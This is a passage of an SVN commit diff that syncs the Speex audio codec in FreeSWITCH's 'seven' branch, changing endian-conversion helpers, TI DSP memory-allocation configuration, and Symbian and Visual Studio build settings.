+++ freeswitch/branches/seven/libs/speex/src/wav_io.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -37,40 +37,9 @@
 #include <stdio.h>
 #include <string.h>
 #include "speex/speex_types.h"
+#include "wav_io.h"
 
-static spx_uint32_t le_int(spx_uint32_t i)
-{
-   spx_uint32_t ret=i;
-#ifdef WORDS_BIGENDIAN
-   ret =  i>>24;
-   ret += (i>>8)&0x0000ff00;
-   ret += (i<<8)&0x00ff0000;
-   ret += (i<<24);
-#endif
-   return ret;
-}
 
-unsigned short be_short(unsigned short s)
-{
-   unsigned short ret=s;
-#ifndef WORDS_BIGENDIAN
-   ret =  s>>8;
-   ret += s<<8;
-#endif
-   return ret;
-}
-
-unsigned short le_short(unsigned short s)
-{
-   unsigned short ret=s;
-#ifdef WORDS_BIGENDIAN
-   ret =  s>>8;
-   ret += s<<8;
-#endif
-   return ret;
-}
-
-
 int read_wav_header(FILE *file, int *rate, int *channels, int *format, spx_int32_t *size)
 {
    char ch[5];

Modified: freeswitch/branches/seven/libs/speex/src/wav_io.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/src/wav_io.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/src/wav_io.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -35,10 +35,30 @@
 #include <stdio.h>
 #include "speex/speex_types.h"
 
-unsigned short be_short(unsigned short s);
-unsigned short le_short(unsigned short s);
-spx_uint32_t le_int(spx_uint32_t i);
+#if !defined(__LITTLE_ENDIAN__) && ( defined(WORDS_BIGENDIAN) || defined(__BIG_ENDIAN__) )
+#define le_short(s) ((short) ((unsigned short) (s) << 8) | ((unsigned short) (s) >> 8))
+#define be_short(s) ((short) (s))
+#else
+#define le_short(s) ((short) (s))
+#define be_short(s) ((short) ((unsigned short) (s) << 8) | ((unsigned short) (s) >> 8))
+#endif 
 
+/** Convert little endian */
+static inline spx_int32_t le_int(spx_int32_t i)
+{
+#if !defined(__LITTLE_ENDIAN__) && ( defined(WORDS_BIGENDIAN) || defined(__BIG_ENDIAN__) )
+   spx_uint32_t ui, ret;
+   ui = i;
+   ret =  ui>>24;
+   ret |= (ui>>8)&0x0000ff00;
+   ret |= (ui<<8)&0x00ff0000;
+   ret |= (ui<<24);
+   return ret;
+#else
+   return i;
+#endif
+}
+
 int read_wav_header(FILE *file, int *rate, int *channels, int *format, spx_int32_t *size);
 
 void write_wav_header(FILE *file, int rate, int channels, int format, int size);

Modified: freeswitch/branches/seven/libs/speex/symbian/bld.inf (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/symbian/bld.inf	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/symbian/bld.inf	2009-08-09 18:53:22 UTC (rev 14472)
@@ -30,6 +30,20 @@
    SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */
 
+PRJ_EXPORTS
+
+..\include\speex\speex_bits.h          \epoc32\include\speex\speex_bits.h
+..\include\speex\speex_callbacks.h     \epoc32\include\speex\speex_callbacks.h
+..\include\speex\speex_config_types.h  \epoc32\include\speex\speex_config_types.h
+..\include\speex\speex_echo.h          \epoc32\include\speex\speex_echo.h
+..\include\speex\speex.h               \epoc32\include\speex\speex.h
+..\include\speex\speex_header.h        \epoc32\include\speex\speex_header.h
+..\include\speex\speex_jitter.h        \epoc32\include\speex\speex_jitter.h
+..\include\speex\speex_preprocess.h    \epoc32\include\speex\speex_preprocess.h
+..\include\speex\speex_stereo.h        \epoc32\include\speex\speex_stereo.h
+..\include\speex\speex_types.h         \epoc32\include\speex\speex_types.h
+
+
 PRJ_MMPFILES
 
 speex.mmp

Modified: freeswitch/branches/seven/libs/speex/symbian/speex.mmp (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/symbian/speex.mmp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/symbian/speex.mmp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -36,10 +36,10 @@
 MACRO         HAVE_CONFIG_H
 SOURCEPATH    ..\libspeex
 SOURCE        bits.c cb_search.c exc_5_64_table.c exc_5_256_table.c exc_8_128_table.c
-SOURCE        exc_10_16_table.c exc_10_32_table.c exc_20_32_table.c filters.c gain_table.c
+SOURCE        exc_10_16_table.c exc_10_32_table.c exc_20_32_table.c fftwrap.c kiss_fft.c kiss_fftr.c filterbank.c filters.c gain_table.c
 SOURCE        gain_table_lbr.c hexc_10_32_table.c hexc_table.c high_lsp_tables.c jitter.c
 SOURCE        lbr_48k_tables.c lpc.c lsp.c lsp_tables_nb.c ltp.c math_approx.c mdf.c misc.c
 SOURCE        modes.c nb_celp.c preprocess.c quant_lsp.c sb_celp.c smallft.c
-SOURCE        speex.c speex_callbacks.c speex_header.c stereo.c vbr.c vq.c
+SOURCE        speex.c speex_callbacks.c speex_header.c stereo.c vbr.c vq.c window.c
 USERINCLUDE   . ..\include\speex
 SYSTEMINCLUDE \epoc32\include \epoc32\include\libc ..\include

Modified: freeswitch/branches/seven/libs/speex/ti/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/ti/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/ti/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -5,5 +5,5 @@
 
 SUBDIRS = speex_C54_test speex_C55_test speex_C64_test
 
-EXTRA_DIST = config.h testenc-TI-C5x.c user_misc.h testenc-TI-C64x.c
+EXTRA_DIST = config.h testenc-TI-C5x.c os_support_custom.h testenc-TI-C64x.c
 

Modified: freeswitch/branches/seven/libs/speex/ti/config.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/ti/config.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/ti/config.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -35,35 +35,39 @@
 #define FRAME_SIZE 160
 #define DISABLE_WIDEBAND
 
+/* Disable DC block if doing SNR testing */
+#define DISABLE_HIGHPASS 
+
 /* Allow for 2 20ms narrowband blocks per frame, plus a couple of bytes */
 #define MAX_CHARS_PER_FRAME (42/BYTES_PER_CHAR)
 
 /* for debug */
 #undef DECODE_ONLY
+#define VERBOSE_ALLOC
 
 /* EITHER    Allocate from fixed array (C heap not used) */
 /*           Enable VERBOSE_ALLOC to see how much is used */
 #define MANUAL_ALLOC
-#define USER_MISC
-#define VERBOSE_ALLOC
+#define OS_SUPPORT_CUSTOM
+
 /* OR        Use CALLOC (heap size must be increased in linker command file) */
 //#undef MANUAL_ALLOC
-//#undef USER_MISC
+//#undef OS_SUPPORT_CUSTOM
 
 #if defined (CONFIG_TI_C54X) || defined (CONFIG_TI_C55X) 
 //#define PRECISION16
 
 // These values determined by analysis for 8kbps narrowband
-#define SPEEXENC_PERSIST_STACK_SIZE 5000
+#define SPEEXENC_PERSIST_STACK_SIZE 1000
 #define SPEEXENC_SCRATCH_STACK_SIZE 3000
-#define SPEEXDEC_PERSIST_STACK_SIZE 2500
+#define SPEEXDEC_PERSIST_STACK_SIZE 1000
 #define SPEEXDEC_SCRATCH_STACK_SIZE 1000
 #else /* C6X */
 #define NO_LONGLONG
 
-#define SPEEXENC_PERSIST_STACK_SIZE 10000
+#define SPEEXENC_PERSIST_STACK_SIZE 2000
 #define SPEEXENC_SCRATCH_STACK_SIZE 6000
-#define SPEEXDEC_PERSIST_STACK_SIZE 5000
+#define SPEEXDEC_PERSIST_STACK_SIZE 2000
 #define SPEEXDEC_SCRATCH_STACK_SIZE 2000
 #endif
 #define SPEEX_PERSIST_STACK_SIZE (SPEEXENC_PERSIST_STACK_SIZE + SPEEXDEC_PERSIST_STACK_SIZE)

Copied: freeswitch/branches/seven/libs/speex/ti/os_support_custom.h (from rev 14471, freeswitch/trunk/libs/speex/ti/os_support_custom.h) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/ti/os_support_custom.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/ti/os_support_custom.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,128 @@
+/* Copyright (C) 2007 Psi Systems, Inc.
+   Author:  Jean-Marc Valin 
+   File: os_support_custom.h
+   Memory Allocation overrides to allow user control rather than C alloc/free.
+
+   Redistribution and use in source and binary forms, with or without
+   modification, are permitted provided that the following conditions
+   are met:
+   
+   - Redistributions of source code must retain the above copyright
+   notice, this list of conditions and the following disclaimer.
+   
+   - Redistributions in binary form must reproduce the above copyright
+   notice, this list of conditions and the following disclaimer in the
+   documentation and/or other materials provided with the distribution.
+   
+   - Neither the name of the Xiph.org Foundation nor the names of its
+   contributors may be used to endorse or promote products derived from
+   this software without specific prior written permission.
+   
+   THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+   ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+   LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+   A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE FOUNDATION OR
+   CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+   EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+   PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+   PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+   LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+   NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+   SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+
+#ifdef MANUAL_ALLOC
+
+/* To avoid changing the Speex call model, this file relies on four static variables 
+   The user main creates two linear buffers, and initializes spxGlobalHeap/ScratchPtr 
+   to point to the start of the two buffers, and initializes spxGlobalHeap/ScratchEnd 
+   to point to the first address following the last byte of the two buffers.
+   
+   This mechanism allows, for example, data caching for multichannel applications, 
+   where the Speex state is swapped from a large slow memory to a small fast memory 
+   each time the codec runs.
+   
+   Persistent data is allocated in spxGlobalHeap (instead of calloc), while scratch
+   data is allocated in spxGlobalScratch.
+*/
+
+extern char *spxGlobalHeapPtr, *spxGlobalHeapEnd; 
+extern char *spxGlobalScratchPtr, *spxGlobalScratchEnd;
+
+/* Make sure that all structures are aligned to largest type */
+#define BLOCK_MASK      (sizeof(long double)-1)
+extern inline void speex_warning(const char *str);
+
+#define OVERRIDE_SPEEX_ALLOC
+static inline void *speex_alloc (int size)
+{
+    void *ptr;
+    
+    ptr = (void *) (((int)spxGlobalHeapPtr + BLOCK_MASK) & ~BLOCK_MASK);  //Start on 8 boundary
+
+    spxGlobalHeapPtr = (char *)((int)ptr + size);	// Update pointer to next free location
+
+    if (spxGlobalHeapPtr > spxGlobalHeapEnd ) 
+    {
+#ifdef VERBOSE_ALLOC
+	    fprintf (stderr, "insufficient space for persistent alloc request %d bytes\n", size);
+#endif
+       return 0;
+    }
+   
+#ifdef VERBOSE_ALLOC
+    fprintf (stderr, "Persist Allocated %d chars at %x, %d remaining\n", size, ptr, ((int)spxGlobalHeapEnd - (int)spxGlobalHeapPtr));
+#endif
+    memset(ptr, 0, size);
+    return ptr;
+}
+
+#define OVERRIDE_SPEEX_ALLOC_SCRATCH
+static inline void *speex_alloc_scratch (int size)
+{
+    void *ptr;
+
+    ptr = (void *) (((int)spxGlobalScratchPtr + BLOCK_MASK) & ~BLOCK_MASK);  //Start on 8 boundary
+
+    spxGlobalScratchPtr = (char *)((int)ptr + size);	// Update pointer to next free location
+
+    if (spxGlobalScratchPtr > spxGlobalScratchEnd ) 
+    {
+#ifdef VERBOSE_ALLOC
+	    fprintf (stderr, "insufficient space for scratch alloc request %d bytes\n", size);
+#endif
+       return 0;
+    }
+   
+#ifdef VERBOSE_ALLOC
+    fprintf (stderr, "Scratch Allocated %d chars at %x, %d remaining\n", size, ptr, ((int)spxGlobalScratchEnd - (int)spxGlobalScratchPtr));
+#endif
+    memset(ptr, 0, size);
+    return ptr;
+}
+
+#define OVERRIDE_SPEEX_REALLOC
+static inline void *speex_realloc (void *ptr, int size)
+{
+#ifdef VERBOSE_ALLOC
+   speex_warning("realloc attempted, not allowed");
+#endif
+   return 0;
+}
+
+#define OVERRIDE_SPEEX_FREE
+static inline void speex_free (void *ptr)
+{
+#ifdef VERBOSE_ALLOC
+   speex_warning("at speex_free");
+#endif
+}
+#define OVERRIDE_SPEEX_FREE_SCRATCH
+static inline void speex_free_scratch (void *ptr)
+{
+#ifdef VERBOSE_ALLOC
+   speex_warning("at speex_free_scratch");
+#endif
+}
+
+#endif    /* !MANUAL_ALLOC */

Modified: freeswitch/branches/seven/libs/speex/ti/speex_C54_test/speex_C54_test.pjt (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/ti/speex_C54_test/speex_C54_test.pjt	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/ti/speex_C54_test/speex_C54_test.pjt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 ; Code Composer Project File, Version 2.0 (do not modify or remove this line)
 
 [Project Settings]
-ProjectDir="C:\speex_11234\ti\speex_C54_test\"
+ProjectDir="C:\Speex\speex_14274\ti\speex_C54_test\"
 ProjectType=Executable
 CPUFamily=TMS320C54XX
 Tool="Compiler"
@@ -27,8 +27,6 @@
 Source="..\..\libspeex\lsp.c"
 Source="..\..\libspeex\lsp_tables_nb.c"
 Source="..\..\libspeex\ltp.c"
-Source="..\..\libspeex\math_approx.c"
-Source="..\..\libspeex\misc.c"
 Source="..\..\libspeex\modes.c"
 Source="..\..\libspeex\nb_celp.c"
 Source="..\..\libspeex\quant_lsp.c"

Modified: freeswitch/branches/seven/libs/speex/ti/speex_C55_test/speex_C55_test.pjt (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/ti/speex_C55_test/speex_C55_test.pjt	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/ti/speex_C55_test/speex_C55_test.pjt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 ; Code Composer Project File, Version 2.0 (do not modify or remove this line)
 
 [Project Settings]
-ProjectDir="C:\speex_11234\ti\speex_C55_test\"
+ProjectDir="C:\Speex\speex_14274\ti\speex_C55_test\"
 ProjectType=Executable
 CPUFamily=TMS320C55XX
 Tool="Compiler"
@@ -27,8 +27,6 @@
 Source="..\..\libspeex\lsp.c"
 Source="..\..\libspeex\lsp_tables_nb.c"
 Source="..\..\libspeex\ltp.c"
-Source="..\..\libspeex\math_approx.c"
-Source="..\..\libspeex\misc.c"
 Source="..\..\libspeex\modes.c"
 Source="..\..\libspeex\nb_celp.c"
 Source="..\..\libspeex\quant_lsp.c"

Modified: freeswitch/branches/seven/libs/speex/ti/speex_C64_test/speex_C64_test.pjt (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/ti/speex_C64_test/speex_C64_test.pjt	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/ti/speex_C64_test/speex_C64_test.pjt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 ; Code Composer Project File, Version 2.0 (do not modify or remove this line)
 
 [Project Settings]
-ProjectDir="C:\speex_11234\ti\speex_C64_test\"
+ProjectDir="C:\Speex\speex_14274\ti\speex_C64_test\"
 ProjectType=Executable
 CPUFamily=TMS320C64XX
 Tool="Compiler"
@@ -12,7 +12,7 @@
 Config="Release"
 
 [Source Files]
-Source="..\..\..\CCStudio_v3.1\C6000\cgtools\lib\rts6400.lib"
+Source="..\..\..\..\CCStudio_v3.1\C6000\cgtools\lib\rts6400.lib"
 Source="..\..\libspeex\bits.c"
 Source="..\..\libspeex\cb_search.c"
 Source="..\..\libspeex\exc_10_16_table.c"
@@ -28,8 +28,6 @@
 Source="..\..\libspeex\lsp.c"
 Source="..\..\libspeex\lsp_tables_nb.c"
 Source="..\..\libspeex\ltp.c"
-Source="..\..\libspeex\math_approx.c"
-Source="..\..\libspeex\misc.c"
 Source="..\..\libspeex\modes.c"
 Source="..\..\libspeex\nb_celp.c"
 Source="..\..\libspeex\quant_lsp.c"

Modified: freeswitch/branches/seven/libs/speex/ti/testenc-TI-C5x.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/ti/testenc-TI-C5x.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/ti/testenc-TI-C5x.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -184,10 +184,17 @@
    tmp=1;  /* Lowest */
    speex_encoder_ctl(st, SPEEX_SET_COMPLEXITY, &tmp);
 
+#ifdef DISABLE_HIGHPASS
+   /* Turn this off if you want to measure SNR (on by default) */
+   tmp=0;
+   speex_encoder_ctl(st, SPEEX_SET_HIGHPASS, &tmp);
+   speex_decoder_ctl(dec, SPEEX_SET_HIGHPASS, &tmp);
+#endif
+
    speex_encoder_ctl(st, SPEEX_GET_LOOKAHEAD, &skip_group_delay);
    speex_decoder_ctl(dec, SPEEX_GET_LOOKAHEAD, &tmp);
    skip_group_delay += tmp;
-   fprintf (stderr, "decoder lookahead = %d\n", skip_group_delay);
+   fprintf (stderr, "decoder lookahead = %ld\n", skip_group_delay);
 
 #ifdef DECODE_ONLY
    bitsFile = "c:\\speextrunktest\\samples\\malebitsin.dat";

Modified: freeswitch/branches/seven/libs/speex/ti/testenc-TI-C64x.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/ti/testenc-TI-C64x.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/ti/testenc-TI-C64x.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -146,6 +146,13 @@
    tmp=1;  /* Lowest */
    speex_encoder_ctl(st, SPEEX_SET_COMPLEXITY, &tmp);
 
+#ifdef DISABLE_HIGHPASS
+   /* Turn this off if you want to measure SNR (on by default) */
+   tmp=0;
+   speex_encoder_ctl(st, SPEEX_SET_HIGHPASS, &tmp);
+   speex_decoder_ctl(dec, SPEEX_SET_HIGHPASS, &tmp);
+#endif
+
    speex_encoder_ctl(st, SPEEX_GET_LOOKAHEAD, &skip_group_delay);
    speex_decoder_ctl(dec, SPEEX_GET_LOOKAHEAD, &tmp);
    skip_group_delay += tmp;

Modified: freeswitch/branches/seven/libs/speex/win32/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/win32/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -3,6 +3,6 @@
 # Disable automatic dependency tracking if using other tools than gcc and gmake
 #AUTOMAKE_OPTIONS = no-dependencies
 
-SUBDIRS = libspeex speexenc speexdec VS2003 VS2005
+SUBDIRS = libspeex speexenc speexdec VS2003 VS2005 VS2008
 
-EXTRA_DIST = speex.iss config.h
+EXTRA_DIST = speex.iss config.h libspeex.def libspeexdsp.def

Modified: freeswitch/branches/seven/libs/speex/win32/VS2003/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2003/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/win32/VS2003/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -3,6 +3,6 @@
 # Disable automatic dependency tracking if using other tools than gcc and gmake
 #AUTOMAKE_OPTIONS = no-dependencies
 
-SUBDIRS = libspeex speexenc speexdec
+SUBDIRS = libspeex libspeexdsp speexenc speexdec tests
 
-EXTRA_DIST = 
+EXTRA_DIST = libspeex.sln

Modified: freeswitch/branches/seven/libs/speex/win32/VS2003/libspeex/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2003/libspeex/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/win32/VS2003/libspeex/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -3,6 +3,6 @@
 # Disable automatic dependency tracking if using other tools than gcc and gmake
 #AUTOMAKE_OPTIONS = no-dependencies
 
-EXTRA_DIST = libspeex.def libspeex.vcproj
+EXTRA_DIST = libspeex.vcproj
 
 

Modified: freeswitch/branches/seven/libs/speex/win32/VS2003/libspeex/libspeex.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2003/libspeex/libspeex.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/win32/VS2003/libspeex/libspeex.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -20,12 +20,12 @@
 				Name="VCCLCompilerTool"
 				Optimization="0"
 				AdditionalIncludeDirectories="..\..\..\include;..\.."
-				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H; USE_ALLOCA"
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H"
 				MinimalRebuild="TRUE"
 				BasicRuntimeChecks="3"
-				RuntimeLibrary="1"
+				RuntimeLibrary="3"
 				UsePrecompiledHeader="0"
-				WarningLevel="4"
+				WarningLevel="3"
 				Detect64BitPortabilityProblems="TRUE"
 				DebugInformationFormat="4"
 				CompileAs="1"/>
@@ -33,7 +33,7 @@
 				Name="VCCustomBuildTool"/>
 			<Tool
 				Name="VCLibrarianTool"
-				OutputFile="$(OutDir)/libspeex.lib"/>
+				OutputFile="../../../lib/libspeex.lib"/>
 			<Tool
 				Name="VCMIDLTool"/>
 			<Tool
@@ -69,13 +69,13 @@
 				FavorSizeOrSpeed="1"
 				OptimizeForProcessor="2"
 				AdditionalIncludeDirectories="..\..\..\include;..\.."
-				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H; USE_ALLOCA"
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
 				StringPooling="TRUE"
 				ExceptionHandling="FALSE"
-				RuntimeLibrary="0"
+				RuntimeLibrary="2"
 				BufferSecurityCheck="FALSE"
 				UsePrecompiledHeader="0"
-				WarningLevel="4"
+				WarningLevel="3"
 				Detect64BitPortabilityProblems="TRUE"
 				DebugInformationFormat="3"
 				CompileAs="1"
@@ -84,7 +84,7 @@
 				Name="VCCustomBuildTool"/>
 			<Tool
 				Name="VCLibrarianTool"
-				OutputFile="$(OutDir)/libspeex.lib"/>
+				OutputFile="../../../lib/libspeex.lib"/>
 			<Tool
 				Name="VCMIDLTool"/>
 			<Tool
@@ -105,7 +105,7 @@
 				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
 		</Configuration>
 		<Configuration
-			Name="Release_SSE|Win32"
+			Name="Release_Static_SSE|Win32"
 			OutputDirectory="$(ConfigurationName)"
 			IntermediateDirectory="$(ConfigurationName)"
 			ConfigurationType="4"
@@ -120,10 +120,10 @@
 				FavorSizeOrSpeed="1"
 				OptimizeForProcessor="2"
 				AdditionalIncludeDirectories="..\..\..\include;..\.."
-				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				PreprocessorDefinitions="_USE_SSE;WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
 				StringPooling="TRUE"
 				ExceptionHandling="FALSE"
-				RuntimeLibrary="0"
+				RuntimeLibrary="2"
 				BufferSecurityCheck="FALSE"
 				EnableEnhancedInstructionSet="1"
 				UsePrecompiledHeader="0"
@@ -136,7 +136,7 @@
 				Name="VCCustomBuildTool"/>
 			<Tool
 				Name="VCLibrarianTool"
-				OutputFile="$(OutDir)/libspeex.lib"/>
+				OutputFile="../../../lib/libspeex.lib"/>
 			<Tool
 				Name="VCMIDLTool"/>
 			<Tool
@@ -157,10 +157,10 @@
 				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
 		</Configuration>
 		<Configuration
-			Name="Release_SSE2|Win32"
+			Name="Release_Dynamic_SSE|Win32"
 			OutputDirectory="$(ConfigurationName)"
 			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="4"
+			ConfigurationType="2"
 			CharacterSet="2"
 			WholeProgramOptimization="TRUE">
 			<Tool
@@ -172,14 +172,14 @@
 				FavorSizeOrSpeed="1"
 				OptimizeForProcessor="3"
 				AdditionalIncludeDirectories="..\..\..\include;..\.."
-				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				PreprocessorDefinitions="_USE_SSE;WIN32;NDEBUG;_WINDOWS;_USRDLL;HAVE_CONFIG_H"
 				StringPooling="TRUE"
 				ExceptionHandling="FALSE"
 				RuntimeLibrary="0"
 				BufferSecurityCheck="FALSE"
-				EnableEnhancedInstructionSet="2"
+				EnableEnhancedInstructionSet="1"
 				UsePrecompiledHeader="0"
-				WarningLevel="4"
+				WarningLevel="3"
 				Detect64BitPortabilityProblems="TRUE"
 				DebugInformationFormat="3"
 				CompileAs="1"
@@ -187,62 +187,13 @@
 			<Tool
 				Name="VCCustomBuildTool"/>
 			<Tool
-				Name="VCLibrarianTool"
-				OutputFile="$(OutDir)/libspeex.lib"/>
-			<Tool
-				Name="VCMIDLTool"/>
-			<Tool
-				Name="VCPostBuildEventTool"/>
-			<Tool
-				Name="VCPreBuildEventTool"/>
-			<Tool
-				Name="VCPreLinkEventTool"/>
-			<Tool
-				Name="VCResourceCompilerTool"/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"/>
-			<Tool
-				Name="VCManagedWrapperGeneratorTool"/>
-			<Tool
-				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
-		</Configuration>
-		<Configuration
-			Name="Release_Dynamic|Win32"
-			OutputDirectory="$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="2"
-			CharacterSet="2"
-			WholeProgramOptimization="TRUE">
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="3"
-				GlobalOptimizations="TRUE"
-				InlineFunctionExpansion="2"
-				EnableIntrinsicFunctions="TRUE"
-				FavorSizeOrSpeed="1"
-				OptimizeForProcessor="2"
-				AdditionalIncludeDirectories="..\..\..\include;..\.."
-				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
-				StringPooling="TRUE"
-				ExceptionHandling="FALSE"
-				RuntimeLibrary="0"
-				BufferSecurityCheck="FALSE"
-				UsePrecompiledHeader="0"
-				WarningLevel="4"
-				Detect64BitPortabilityProblems="TRUE"
-				DebugInformationFormat="3"
-				CompileAs="1"
-				DisableSpecificWarnings="4244;4305;4311;4100;4127"/>
-			<Tool
-				Name="VCCustomBuildTool"/>
-			<Tool
 				Name="VCLinkerTool"
-				ModuleDefinitionFile="libspeex.def"
+				OutputFile="../../../bin/libspeex.dll"
+				ModuleDefinitionFile="..\..\libspeex.def"
 				OptimizeReferences="2"
 				EnableCOMDATFolding="2"
-				OptimizeForWindows98="1"/>
+				OptimizeForWindows98="1"
+				ImportLibrary="../../../lib/libspeex.lib"/>
 			<Tool
 				Name="VCMIDLTool"/>
 			<Tool
@@ -315,12 +266,6 @@
 				RelativePath="..\..\..\libspeex\high_lsp_tables.c">
 			</File>
 			<File
-				RelativePath="..\..\..\libspeex\jitter.c">
-			</File>
-			<File
-				RelativePath=".\libspeex.def">
-			</File>
-			<File
 				RelativePath="..\..\..\libspeex\lpc.c">
 			</File>
 			<File
@@ -333,36 +278,21 @@
 				RelativePath="..\..\..\libspeex\ltp.c">
 			</File>
 			<File
-				RelativePath="..\..\..\libspeex\math_approx.c">
+				RelativePath="..\..\..\libspeex\modes.c">
 			</File>
 			<File
-				RelativePath="..\..\..\libspeex\mdf.c">
+				RelativePath="..\..\..\libspeex\modes_wb.c">
 			</File>
 			<File
-				RelativePath="..\..\..\libspeex\medfilter.c">
-			</File>
-			<File
-				RelativePath="..\..\..\libspeex\misc.c">
-			</File>
-			<File
-				RelativePath="..\..\..\libspeex\modes.c">
-			</File>
-			<File
 				RelativePath="..\..\..\libspeex\nb_celp.c">
 			</File>
 			<File
-				RelativePath="..\..\..\libspeex\preprocess.c">
-			</File>
-			<File
 				RelativePath="..\..\..\libspeex\quant_lsp.c">
 			</File>
 			<File
 				RelativePath="..\..\..\libspeex\sb_celp.c">
 			</File>
 			<File
-				RelativePath="..\..\..\libspeex\smallft.c">
-			</File>
-			<File
 				RelativePath="..\..\..\libspeex\speex.c">
 			</File>
 			<File
@@ -380,16 +310,22 @@
 			<File
 				RelativePath="..\..\..\libspeex\vq.c">
 			</File>
+			<File
+				RelativePath="..\..\..\libspeex\window.c">
+			</File>
 		</Filter>
 		<Filter
 			Name="Header Files"
 			Filter="h;hpp;hxx;hm;inl;inc;xsd"
 			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}">
 			<File
+				RelativePath="..\..\..\libspeex\arch.h">
+			</File>
+			<File
 				RelativePath="..\..\..\libspeex\cb_search.h">
 			</File>
 			<File
-				RelativePath="..\..\config.h">
+				RelativePath="..\..\..\libspeex\cb_search_sse.h">
 			</File>
 			<File
 				RelativePath="..\..\..\libspeex\filters.h">
@@ -398,6 +334,12 @@
 				RelativePath="..\..\..\libspeex\filters_sse.h">
 			</File>
 			<File
+				RelativePath="..\..\..\libspeex\fixed_debug.h">
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\fixed_generic.h">
+			</File>
+			<File
 				RelativePath="..\..\..\libspeex\lpc.h">
 			</File>
 			<File
@@ -413,43 +355,47 @@
